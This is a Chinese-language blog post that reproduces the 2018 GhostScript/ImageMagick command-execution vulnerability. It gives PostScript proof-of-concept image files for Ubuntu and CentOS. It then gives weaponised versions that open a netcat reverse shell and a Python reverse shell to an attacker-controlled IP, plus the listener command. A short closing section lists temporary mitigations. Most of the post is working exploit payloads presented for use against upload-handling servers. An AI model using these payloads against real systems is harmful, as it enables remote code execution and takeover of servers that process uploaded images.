GhostScript命令执行漏洞

0x00 前言

今天早上 http://seclists.org/oss-sec/2018/q3/142 曝出了这个imageMagick的漏洞,然后下午从朋友那里听说了,这个漏洞影响范围极广,有缩略图功能的各种网站都有机会中招。当时看着大佬们在百度、新浪等各大厂商的src提交漏洞报告薅赏金的时候,自己也想尝试尝试,奈何手边没有电脑,只能等到晚上回来复现。

0x01 漏洞原理

GhostScript插件被许多图片处理库如 ImageMagick、Python PIL 等所使用,默认情况下这些库会根据图片的内容将其分发给不同的处理方法,其中就包括GhostScript。

而GhostScript的安全沙箱可以通过构造恶意代码绕过,当我们构造恶意代码并重命名成图片的格式,上传至目标服务器时,目标服务器的图像处理模块(为了完成如头像缩略图等功能)就会触发构造的恶意代码,造成远程代码执行。

也正是因为使用这些图像处理模块的网站十分多,所以漏洞影响范围极大,对于我们学生党来说,是个刷SRC赚点零花钱的好机会。

0x02 漏洞复现

作者给出的测试poc有两种,分别针对centos和ubuntu:

For Ubuntu

1
2
3
4
5
6
7
8
%!PS
userdict /setpagedevice undef
save
legal
{ null restore } stopped { pop } if
{ legal } stopped { pop } if
restore
mark /OutputFile (%pipe%id) currentdevice putdeviceprops

将这样一张图片上传后,经过GhostScript就会触发id命令

我们在本地可以通过imageMagick的图像压缩功能测试一下,首先安装imageMagick

1
apt-get install imageMagick

然后使用convert命令压缩图片触发命令:

1
convert shellexe.jpeg whatever.gif

显示如下信息说明测试成功:

1
2
uid=1000(taviso) gid=1000(taviso) groups=1000(taviso),10(wheel)
context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

For CentOS

1
2
3
4
5
6
%!PS
userdict /setpagedevice undef
legal
{ null restore } stopped { pop } if
legal
mark /OutputFile (%pipe%id) currentdevice putdeviceprops

centos中除了payload不同以外,其他过程都相同,不过安装imageMagicK需要使用

1
yum install imageMagicK

0x03 漏洞利用

这两种linux系统中都可以验证漏洞存在了,那么我们该如何利用它呢?

虽然我们每次直接改id再上传使服务器执行命令也可以,但是未免太过麻烦,想要方便的控制肯定是得反弹一个shell,我这里提供两种方法:

netcat

第一种是反弹一个netcat的连接,因为大部分的linux都会自带nc,我们只需要将id命令改成反弹一个nc到我们监听的服务器和端口即可:

1
2
3
4
5
6
%!PS
userdict /setpagedevice undef
legal
{ null restore } stopped { pop } if
legal
mark /OutputFile (%pipe%$(nc -e /bin/sh xxx.xxx.xxx.xxx 1234)) currentdevice putdeviceprops

只要将恶意代码中xxx.xxx.xxx.xxx改为自己的ip,将1234改为自己监听的端口就可以使用了。

python shell

当然也不排除一些服务器没有nc,这种时候就用第二种方法:反弹一个python shell,linux中基本都是装了python的

python版本的shell编写可以参考我前面的博客

我这里也给出一个直接可以利用的payload:

1
2
3
4
5
6
7
8
%!PS
userdict /setpagedevice undef
save
legal
{ null restore } stopped { pop } if
{ legal } stopped { pop } if
restore
mark /OutputFile (%pipe%python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.2.100",2333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);') currentdevice putdeviceprops

上述两种方法都还需要我们在自己远程监听的服务器上打开一个nc的监听:

1
nc -l 2333

然后上传图片,如果攻击成功就可以得到shell:

0x04 应对

暂时官方没有补丁,可以参考长亭安全团队给出的临时解决方案:

  • 1.卸载 GhostScript
    以 Ubuntu 系统为例,执行以下命令以卸载 GhostScript:
    sudo apt-get remove ghostscript

  • 2.修改 ImageMagick 的 policy 文件,默认位置为 /etc/ImageMagick/policy.xml,在 中加入以下 (即禁用 PS、EPS、PDF、XPS coders):

    1
    2
    3
    4
    5
    6
    <policymap>
    <policy domain="coder" rights="none" pattern="PS" />
    <policy domain="coder" rights="none" pattern="EPS" />
    <policy domain="coder" rights="none" pattern="PDF" />
    <policy domain="coder" rights="none" pattern="XPS" />
    </policymap>

不过很快官方补丁就会给出,那时就可以直接更新imageMagicK

fork me on github